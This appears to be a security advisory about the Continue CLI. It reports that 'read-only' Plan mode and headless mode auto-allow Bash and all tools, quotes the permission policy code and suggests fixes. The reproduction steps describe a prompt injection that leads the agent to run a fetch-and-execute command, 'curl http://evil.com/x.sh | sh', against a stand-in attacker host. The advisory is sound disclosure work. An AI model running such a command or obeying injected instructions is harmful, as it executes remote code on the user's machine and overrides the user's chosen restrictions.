Plan mode grants unrestricted Bash execution — read-only planning allows arbitrary shell commands

[Tardfyou]

Summary

Continue's Plan mode is designed for "read-only planning" — the user explicitly selects this mode to prevent code changes. However, the built-in permission policies grant Bash → allow in Plan mode, meaning the agent can execute arbitrary shell commands (including curl | sh, file writes via redirection, etc.) while nominally in "read-only" planning.

Additionally, in headless (non-interactive) mode, the default permission is * → allow — all tools auto-approve without prompting.

Root cause

extensions/cli/src/permissions/defaultPolicies.ts:

// Plan mode: Complete override - exclude all write operations, allow only reads and bash
export const PLAN_MODE_POLICIES: ToolPermissionPolicy[] = [
    { tool: "Edit", permission: "exclude" },
    { tool: "MultiEdit", permission: "exclude" },
    // ...
    { tool: "Bash", permission: "allow" },  // ← arbitrary shell in "read-only" mode
    // ...
    { tool: "*", permission: "allow" },     // ← MCP tools too
];

// Headless:
if (isHeadless) {
    policies.push({ tool: "Bash", permission: "allow" });
    policies.push({ tool: "*", permission: "allow" });
}

A TODO comment acknowledges the concern:

// TODO address bash read only concerns, maybe make permissions more granular

Reproduction

1. User selects Plan mode (expecting read-only behavior)
2. Prompt injection causes the model to emit: curl http://evil.com/x.sh | sh
3. Plan mode policies allow Bash → allow → command executes
4. Arbitrary code runs on the user's machine during "read-only planning"

Impact

A user selecting Plan mode explicitly signals they want no code changes. Yet the Bash tool — which can execute arbitrary commands including remote code download and execution — is fully available. Combined with the GC-17 prefix matching bypass, this makes Plan mode effectively equivalent to full auto-approve mode.

Suggested fix

1. In Plan mode, restrict Bash to a read-only allowlist (as the TODO suggests)
2. Remove Bash → allow from Plan mode policies, or at minimum require confirmation for shell execution
3. Add Bash → ask or a Bash(read_only_only) restriction

Credit

Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou